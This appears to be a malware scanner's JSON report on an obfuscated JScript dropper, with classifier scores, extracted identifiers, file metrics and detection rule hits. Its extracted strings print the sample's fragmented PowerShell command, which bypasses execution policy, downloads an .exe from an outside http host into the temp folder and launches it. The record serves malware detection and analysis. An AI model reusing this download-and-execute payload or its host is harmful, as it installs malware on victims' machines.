{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9998955726623535, "class": 2 } ], "prob": 0.9998956, "class": 2, "models": [ { "m": "az", "prob": 0.9978016, "class": 2 }, { "m": "az/scripts", "prob": 0.9994667, "class": 2 }, { "m": "az/javascript", "prob": 0.9998956, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-06T18:44:53Z" }, "path": "20170122_38f3734379c19b7bfbb48e9f6ed4ca84.js", "raw": { "v": "4", "fs": [ { "f": "K₂O₆(As₈Xe₄AlCEr₂S)H₃(DbOs₂Po₅)Md", "k": { "source.imports[0]": "abyfyp", "source.imports[1]": "abyfyp.CreateObject", "source.imports[2]": "acapzynqaf", "source.imports[3]": "ackiqusr", "source.imports[4]": "acqywate", "source.imports[5]": "ahkejupzu", "source.imports[6]": "alnohri", "source.imports[7]": "amazalhe", "source.imports[8]": "apaqurig", "source.imports[9]": "aqaboryv", "source.strings[0]": " $ujitq='^nv:temp+", "source.strings[1]": " $ujitq='^nv:temp+''\\eje';$jqohilp='^Policy Bypass';$oflehi='^h';$nacqyb='^jpoqw.exe'');(';$ruxym='^/outloo.exe'',';$igmycte='^stem.Net.Webc';$aqila='^New-Object Sy';$aheh='^$path); Start';$ihudb='^ss; $path=($e';$qlolowq='^-Process $pat';$almyr='^Set-Execution';$qgawa='^ -Scope Proce';$ygapne='^adFile(''http:';$zbiba='^ter.de/Styles';$usyspu='^//seehasenach';$enzuz='^lient).Downlo'; Invoke-Expression ($almyr+$jqohilp+$qgawa+$ihudb+$ujitq+$nacqyb+$aqila+$igmycte+$enzuz+$ygapne+$usyspu+$zbiba+$ruxym+$aheh+$qlolowq+$oflehi);\\", "source.strings[2]": " power", "source.strings[3]": "WScript", "source.strings[4]": "WScript.Shell", "source.strings[5]": "\\\" power", "source.strings[6]": "adgiqm", "source.strings[7]": "boolean", "source.strings[8]": "cmd.exe /c ", "source.strings[9]": "evekam", "source.has_imports": true, "source.imports[10]": "atywbe", "source.imports[11]": "cegtudlufz", "source.imports[12]": "cyhbir", "source.imports[13]": "dfevmirm", "source.imports[14]": "drehadfykn", "source.imports[15]": "drisanzu", "source.imports[16]": "durajn", "source.imports[17]": "ebedyxbaxv", "source.imports[18]": "ejupigj", "source.imports[19]": "emfuqef", "source.imports[20]": "emuwyl", "source.imports[21]": "ennuzigy", "source.imports[22]": "etzyx", "source.imports[23]": "flihjolxe", "source.imports[24]": "fnebqoc", "source.imports[25]": "gehumyzsi", "source.imports[26]": "gvonatfokku", "source.imports[27]": "ingufyq", "source.imports[28]": "injygu", "source.imports[29]": "iqdysneg", "source.imports[30]": "ittetydqa", "source.imports[31]": "jabdagmu", "source.imports[32]": "jezosvo", "source.imports[33]": "jomudg", "source.imports[34]": "jxelimav", "source.imports[35]": "kemofitx", "source.imports[36]": "lpekvafa", "source.imports[37]": "lruhan", "source.imports[38]": "ltiwcutj", "source.imports[39]": "lxyptumykqe", "source.imports[40]": "lybyzajm", "source.imports[41]": "lykjogcomq", "source.imports[42]": "manzevirp", "source.imports[43]": "maqiknok", "source.imports[44]": "mkycsakfy", "source.imports[45]": "mlajva", "source.imports[46]": "mulbutj", "source.imports[47]": "odwunamvo", "source.imports[48]": "ofixbobg", "source.imports[49]": "ofybewnav", "source.imports[50]": "ohrafewi", "source.imports[51]": "olhedl", "source.imports[52]": "omfekcikl", "source.imports[53]": "oqnur", "source.imports[54]": "oqnur.ofybewnav", "source.imports[55]": "owiqixi", "source.imports[56]": "owyzorn", "source.imports[57]": "pgijsotqa", "source.imports[58]": "pkamajsu", "source.imports[59]": "qpuzo", "source.imports[60]": "qzewjujk", "source.imports[61]": "rlagnozfom", "source.imports[62]": "sfetsac", "source.imports[63]": "sunvalpetcu", "source.imports[64]": "tlawej", "source.imports[65]": "tlyjyzup", "source.imports[66]": "ttagebr", "source.imports[67]": "uhebuta", "source.imports[68]": "ujyho", "source.imports[69]": "ujzacmu", "source.imports[70]": "ulusaxn", "source.imports[71]": "umtemehbecg", "source.imports[72]": "usxetsux", "source.imports[73]": "uwikivzyk", "source.imports[74]": "vjyktaks", "source.imports[75]": "vlasamk", "source.imports[76]": "vulugtiw", "source.imports[77]": "xfazubapi", "source.imports[78]": "ybiho", "source.imports[79]": "ygrawoky", "source.imports[80]": "ymerjo", "source.imports[81]": "ynpeqve", "source.imports[82]": "yptemuvqecr", "source.imports[83]": "yqnyja", "source.imports[84]": "ysdoluvci", "source.imports[85]": "ysniwi", "source.imports[86]": "yvito", "source.imports[87]": "zkimfulvezco", "source.imports[88]": "zqiqofub", "source.strings[10]": "fabocyrb", "source.strings[11]": "je';$jqohilp='^Policy Bypass';$oflehi='^h';$nacqyb='^jpoqw.exe'');(';$ruxym='^/outloo.exe'',';$igmycte='^stem.Net.Webc';$aqila='^New-Object Sy';$aheh='^$path); Start';$ihudb='^ss; $path=($e';$qlolowq='^-Process $pat';$almyr='^Set-Execution';$qgawa='^ -Scope Proce';$ygapne='^adFile(''http:';$zbiba='^ter.de/Styles';$usyspu='^//seehasenach';$enzuz='^lient).Downlo'; Invoke-Expression ($almyr+$jqohilp+$qgawa+$ihudb+$ujitq+$nacqyb+$aqila+$igmycte+$enzuz+$ygapne+$usyspu+$zbiba+$ruxym+$aheh+$qlolowq+$oflehi);", "source.strings[12]": "nnuzuzuxs", "source.strings[13]": "number", "source.strings[14]": "odzoxderuq", "source.strings[15]": "ogkarivfan", "source.strings[16]": "opijig", "source.strings[17]": "return mm", "source.strings[18]": "undefined", "source.strings[19]": "uzceguny", "source.strings[20]": "yvutsusja", "source.functions[0]": "cyhbir", "source.functions[1]": "dfevmirm", "source.functions[2]": "drehadfykn", "source.functions[3]": "fnebqoc", "source.functions[4]": "mlajva", "source.functions[5]": "odwunamvo", "source.functions[6]": "onokxexn", "source.functions[7]": "pkamajsu", "source.functions[8]": "rlagnozfom", "source.functions[9]": "sunvalpetcu", "source.functions[10]": "yqnyja" }, "x": 46, "id": 0, "is": [ "zkimfulvezco", "kemofitx", "iqdysneg", "abyfyp", "ejupigj", "ittetydqa", "ujzacmu", "drisanzu", "ybiho", "ofybewnav", "ennuzigy", "usxetsux", "alnohri", "mkycsakfy", "etzyx", "lxyptumykqe", "injygu", "qzewjujk", "owyzorn", "yqnyja", "rlagnozfom", "durajn", "manzevirp", "manzevirp", "uhebuta", "ahkejupzu", "gvonatfokku", "ymerjo", "drehadfykn", "odwunamvo", "ygrawoky", "ujyho", "tlyjyzup", "jomudg", "jomudg", "jxelimav", "yptemuvqecr", "mlajva", "ltiwcutj", "pgijsotqa", "umtemehbecg", "umtemehbecg", "ackiqusr", "apaqurig", "amazalhe", "amazalhe", "acqywate", "oqnur", "abyfyp.CreateObject", "dfevmirm", "ysniwi", "vlasamk", "mulbutj", "mulbutj", "ebedyxbaxv", "jezosvo", "jezosvo", "olhedl", "acapzynqaf", "sunvalpetcu", "ingufyq", "qpuzo", "omfekcikl", "pkamajsu", "ttagebr", "gehumyzsi", "ysdoluvci", "xfazubapi", "xfazubapi", "flihjolxe", "vjyktaks", "ysniwi", "vlasamk", "mulbutj", "mulbutj", "ebedyxbaxv", "jezosvo", "jezosvo", "olhedl", "acapzynqaf", "sunvalpetcu", "ingufyq", "qpuzo", "omfekcikl", "pkamajsu", "ttagebr", "gehumyzsi", "ysdoluvci", "xfazubapi", "xfazubapi", "flihjolxe", "vjyktaks", "vulugtiw", "fnebqoc", "lpekvafa", "lybyzajm", "aqaboryv", "aqaboryv", "jabdagmu", "uwikivzyk", "atywbe", "lykjogcomq", "lykjogcomq", "ynpeqve", "owiqixi", "maqiknok", "ohrafewi", "cyhbir", "yvito", "emfuqef", "sfetsac", "emuwyl", "ulusaxn", "cegtudlufz", "zqiqofub", "ofixbobg", "tlawej", "lruhan", "oqnur.ofybewnav" ], "ms": { "file": { "size": 5101.0 }, "text": { "tab_count": 647.0, "digit_ratio": 0.08, "space_count": 510.0, "total_lines": 205.0, "char_entropy": 5.12, "unique_chars": 69.0, "import_density": 58.05, "lines_over_200": 1.0, "lines_over_500": 1.0, "string_density": 0.46, "avg_line_length": 23.89, "max_line_length": 584.0, "empty_line_ratio": 0.03, "last_line_length": 1.0, "long_token_count": 3.0, "most_common_char": "a", "whitespace_ratio": 0.27, "most_common_ratio": 0.05, "identifier_density": 0.91, "line_length_stddev": 40.97, "normalized_import_count": 8.31, "normalized_string_count": 6.64, "suspicious_string_ratio": 0.02, "max_inline_whitespace_run": 5.0, "normalized_function_count": 0.77, "imports_to_functions_ratio": 10.82, "strings_to_functions_ratio": 8.64, "normalized_unique_identifiers": 11.72, "identifiers_to_functions_ratio": 8.18 }, "imports": { "total": 119.0, "unique_modules": 89.0, "third_party_count": 119.0, "third_party_ratio": 1.0 }, "strings": { "total": 95.0, "avg_length": 16.92, "max_length": 538.0, "avg_entropy": 2.12, "total_bytes": 1607.0, "entropy_stddev": 0.87, "high_entropy_count": 2.0, "shell_command_strings": 2.0 }, "comments": {}, "functions": { "total": 11.0, "length_stddev": 0.48, "avg_name_length": 8.09, "no_params_count": 11.0, "avg_length_lines": 3.36, "max_length_lines": 4.0, "min_length_lines": 3.0, "density_per_100_lines": 5.37, "code_in_functions_ratio": 0.18 }, "identifiers": { "total": 187.0, "avg_length": 7.81, "max_length": 12.0, "min_length": 5.0, "avg_entropy": 2.72, "reuse_ratio": 0.48, "unique_count": 90.0, "length_stddev": 1.57, "all_lowercase_ratio": 0.99 } }, "ss": [ [ 64, "odzoxderuq" ], [ 65, "odzoxderuq" ], [ 113, "WScript" ], [ 114, "WScript" ], [ 150, "mm" ], [ 151, "mm" ], [ 156, "return mm" ], [ 157, "return mm" ], [ 383, "uzceguny" ], [ 384, "uzceguny" ], [ 409, "29943" ], [ 410, "29943" ], [ 433, "14304" ], [ 434, "14304" ], [ 454, "ru" ], [ 455, "ru" ], [ 484, "n" ], [ 485, "n" ], [ 572, "aca" ], [ 573, "aca" ], [ 630, "48536" ], [ 631, "48536" ], [ 726, "\\\" power" ], [ 729, " power" ], [ 739, "sh" ], [ 740, "sh" ], [ 746, "ell" ], [ 747, "ell" ], [ 771, "evekam" ], [ 772, "evekam" ], [ 1014, "boolean" ], [ 1015, "boolean" ], [ 1042, "vas" ], [ 1043, "vas" ], [ 1092, "1960" ], [ 1093, "1960" ], [ 1115, "57218" ], [ 1116, "57218" ], [ 1137, "99463" ], [ 1138, "99463" ], [ 1268, "undefined" ], [ 1269, "undefined" ], [ 1305, "adgiqm" ], [ 1306, "adgiqm" ], [ 1401, "95317" ], [ 1402, "95317" ], [ 1651, "nnuzuzuxs" ], [ 1652, "nnuzuzuxs" ], [ 1776, "5563" ], [ 1777, "5563" ], [ 1814, "69338" ], [ 1815, "69338" ], [ 2000, "WScript.Shell" ], [ 2001, "WScript.Shell" ], [ 2051, "37847" ], [ 2052, "37847" ], [ 2355, "number" ], [ 2356, "number" ], [ 2538, "ygjy" ], [ 2539, "ygjy" ], [ 2625, "25333" ], [ 2626, "25333" ], [ 2684, "yvutsusja" ], [ 2685, "yvutsusja" ], [ 2714, "wuqwy" ], [ 2715, "wuqwy" ], [ 3110, "number" ], [ 3111, "number" ], [ 3293, "ygjy" ], [ 3294, "ygjy" ], [ 3380, "25333" ], [ 3381, "25333" ], [ 3439, "yvutsusja" ], [ 3440, "yvutsusja" ], [ 3469, "wuqwy" ], [ 3470, "wuqwy" ], [ 3684, "35696" ], [ 3685, "35696" ], [ 3839, "ogkarivfan" ], [ 3840, "ogkarivfan" ], [ 3956, "75173" ], [ 3957, "75173" ], [ 4164, "64184" ], [ 4165, "64184" ], [ 4193, "opijig" ], [ 4194, "opijig" ], [ 4335, "fabocyrb" ], [ 4336, "fabocyrb" ], [ 4368, "41412" ], [ 4369, "41412" ], [ 4451, "cmd.exe /c " ], [ 4452, "cmd.exe /c " ], [ 4475, " $ujitq='^nv:temp+''\\eje';$jqohilp='^Policy Bypass';$oflehi='^h';$nacqyb='^jpoqw.exe'');(';$ruxym='^/outloo.exe'',';$igmyct" ], [ 4476, " $ujitq='^nv:temp+" ], [ 4499, "je';$jqohilp='^Policy Bypass';$oflehi='^h';$nacqyb='^jpoqw.exe'');(';$ruxym='^/outloo.exe'',';$igmycte='^stem.Net.Webc';$aqi" ] ], "sz": 5101, "ts": [ { "c": 0.800000011920929, "d": "WScript.Shell object string", "e": [ "WScript.Shell" ], "i": "micro-behaviors/os/com/object::wscript-shell-literal", "l": 3 }, { "c": 1.0, "d": "JavaScript file basename", "e": [ "20170122_38f3734379c19b7bfbb48e9f6ed4ca84.js" ], "i": "metadata/lang/encoded/unicode-escape::javascript-or-dll-basename", "l": 2 }, { "c": 0.800000011920929, "d": "Instantiates WScript.Shell object", "e": [ "WScript.Shell" ], "i": "micro-behaviors/os/wsh/file::wscript-shell-object", "l": 3 }, { "a": "T1059", "c": 0.75, "d": "cmd.exe shell string", "e": [ "cmd.exe" ], "i": "objectives/command-and-control/reverse-shell/socket::cmd-exe-string", "l": 1 }, { "c": 0.8199999928474426, "d": "Opaque predicate using literal compare", "e": [ "if (yqnyja() == 649)" ], "i": "objectives/anti-static/obfuscation/control-flow/retry::opaque-predicate-literal-compare", "l": 4 }, { "a": "T1553.004", "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "undefined" ], "i": "objectives/evasion/security-bypass/tls::check-server-identity-bypass--rx-9", "l": 1 }, { "c": 0.9599999785423279, "d": "Regex component marker", "e": [ "undefined" ], "i": "well-known/malware/stealer/ottercookie::base91-const-array--rx-1", "l": 1 }, { "c": 0.949999988079071, "d": "eval/Function call inside flatted-shaped file", "e": [ "new Function(" ], "i": "well-known/lib/flatted::flatted-tamper-eval", "l": 1 }, { "a": "T1497.001", "c": 0.75, "d": "Compares value against undefined string", "e": [ "== 'undefined'" ], "i": "objectives/anti-analysis/environment-detect/wsh::env-check-undefined-compare", "l": 1, "m": "B0003" }, { "a": "T1027", "c": 0.8999999761581421, "d": "Low string density base64 context", "e": [ "text.string_density = 0.46" ], "i": "objectives/anti-static/obfuscation/code-metrics/string-blob::js-base64-candidate-low-string-density", "l": 1, "m": "B0032" }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 584.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "c": 1.0, "d": "cmd command name", "e": [ "cmd" ], "i": "micro-behaviors/process/create/shell/invoke::cmd-name", "l": 2 }, { "c": 1.0, "d": "Regex component marker", "e": [ "zkimfulvezco = null;" ], "i": "micro-behaviors/process/create/shell/injection::iot-param-injection-cond-2--inline-3976", "l": 1 }, { "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "t.Sh" ], "i": "objectives/execution/interpreter/scripting/host::wscript-shell-split-join--rx-3", "l": 1 }, { "a": "T1059", "c": 0.75, "d": "Regex component marker", "e": [ "10." ], "i": "objectives/command-and-control/reverse-shell/socket::rfc1918-host-string--rx-1", "l": 1 }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 205.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "c": 0.699999988079071, "d": "Function constructor keyword", "e": [ "Function" ], "i": "micro-behaviors/data/source/syntax/keyword::js-keyword-function-constructor", "l": 2 }, { "c": 0.800000011920929, "d": "JScript file type (WScript host)", "e": [ "WScript" ], "i": "micro-behaviors/process/interpreter/jscript::is-jscript", "l": 1 }, { "a": "T1059.005", "c": 0.8500000238418579, "d": "WScript.Shell object creation", "e": [ "CreateObject('WScript.Shell" ], "i": "objectives/execution/interpreter/vbscript/interpreter::wscript-shell-create", "l": 3 }, { "a": "T1036.008", "c": 0.949999988079071, "d": "Filename has .js extension", "e": [ "20170122_38f3734379c19b7bfbb48e9f6ed4ca84.js" ], "i": "objectives/evasion/masquerade/extension/shebang::js-extension-name", "l": 1, "m": "F0008" }, { "c": 0.8500000238418579, "d": "Execute commands via cmd.exe /c", "e": [ "cmd.exe /c" ], "i": "micro-behaviors/process/create/shell/invoke::cmd-exe-c-command", "l": 3 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Large import graph base64 context", "e": [ "imports.unique_modules = 89.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/string-blob::js-base64-candidate-large-import-graph", "l": 1, "m": "B0032" }, { "c": 0.75, "d": "Indirect string replacement call", "e": [ "[ofybewnav](lruhan, qzewjujk)" ], "i": "objectives/anti-static/obfuscation/string/recovery::js-indirect-replace-call", "l": 1 }, { "c": 0.8799999952316284, "d": "Indirect bracketed WScript command invocation", "e": [ "oqnur[ofybewnav](lruhan, qzewjujk)" ], "i": "micro-behaviors/process/create/shell/wsh::wscript-shell-run-indirect", "l": 1 }, { "a": "T1027", "c": 1.0, "d": "Many unique import modules", "e": [ "imports.unique_modules = 89.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::imports-unique-modules-50", "l": 1, "m": "B0032" }, { "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "crip" ], "i": "objectives/execution/interpreter/scripting/host::wscript-shell-split-join--rx-2", "l": 1 }, { "c": 0.699999988079071, "d": "JavaScript new Function constructor", "e": [ "new Function(" ], "i": "micro-behaviors/process/interpreter/eval::js-new-function-constructor", "l": 3 }, { "a": "T1027", "c": 0.7799999713897705, "d": "Hex arithmetic in string operations", "e": [ "982 + mulbutj", "56", "16.4704 + jomudg", "16.4704", "982", "56 + amazalhe" ], "i": "objectives/anti-static/obfuscation/encoding/hex::hex-string-arithmetic", "l": 1, "m": "B0032" }, { "a": "T1027", "c": 0.6000000238418579, "d": "No comments in code", "e": [ "comments.total = 0.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::no-comments", "l": 1, "m": "B0032" }, { "d": ".exe extension reference", "e": [ ".exe" ], "i": "micro-behaviors/fs/path/extension::exe-dup", "l": 2 }, { "c": 1.0, "d": "Tiny WScript.Shell fragment (variant 2b)", "e": [ "ipt.S" ], "i": "objectives/execution/interpreter/script/wsh-fragments::wscript-shell-fragment-tiny-2b", "l": 1 }, { "c": 0.4000000059604645, "d": "cmd.exe Windows command shell reference", "e": [ "cmd.exe" ], "i": "objectives/execution/interpreter/script/shell::cmd-exe-dup", "l": 1 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Immediate new Function invocation pattern", "e": [ "Function" ], "i": "micro-behaviors/data/source/dynamic/eval::new-function-iife", "l": 3, "m": "B0032" }, { "c": 0.699999988079071, "d": "Small file under 5KB", "e": [ "20170122_38f3734379c19b7bfbb48e9f6ed4ca84.js" ], "i": "objectives/supply-chain/metadata-anomaly/package/npm::small-file-5k", "l": 1 }, { "c": 1.0, "d": "Tiny WScript.Shell fragment (variant 2a)", "e": [ "WScri" ], "i": "objectives/execution/interpreter/script/wsh-fragments::wscript-shell-fragment-tiny-2a", "l": 1 }, { "c": 1.0, "d": "Generic Function constructor usage", "e": [ "new Function(\"" ], "i": "objectives/anti-static/obfuscation/eval/require::function-constructor", "l": 4 }, { "c": 0.800000011920929, "d": "PowerShell cmdlet naming pattern in non-PS code", "e": [ "Invoke-Expression" ], "i": "objectives/execution/interpreter/script/embedded::powershell-cmdlet-patterns", "l": 3 }, { "a": "T1027", "d": "new Function constructor", "e": [ "new Function(\"" ], "i": "objectives/anti-static/obfuscation/string/encoding::js-new-function", "l": 2, "m": "B0032" }, { "c": 1.0, "d": "References cmd.exe file path", "e": [ "cmd", ".exe" ], "i": "micro-behaviors/process/create/shell/invoke::cmd-exe-file-path", "l": 2 }, { "c": 0.8999999761581421, "d": "Obfuscated WScript.Shell Run invocation", "e": [ "oqnur[ofybewnav](lruhan, qzewjujk)", "WScript.Shell" ], "i": "micro-behaviors/process/create/shell/wsh::wscript-shell-run-obfuscated", "l": 3 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Immediate invocation of new Function", "e": [ "Function" ], "i": "objectives/anti-static/obfuscation/eval/function::suspicious-new-function-iife", "l": 4, "m": "B0032" } ], "sha": "decd46caa47ecb8e6c6c56cbce98db4becad3721c077d45e5f8bdb94efb6790f", "path": "20170122_38f3734379c19b7bfbb48e9f6ed4ca84.js", "type": "javascript" } ], "tv": "ac09c" } }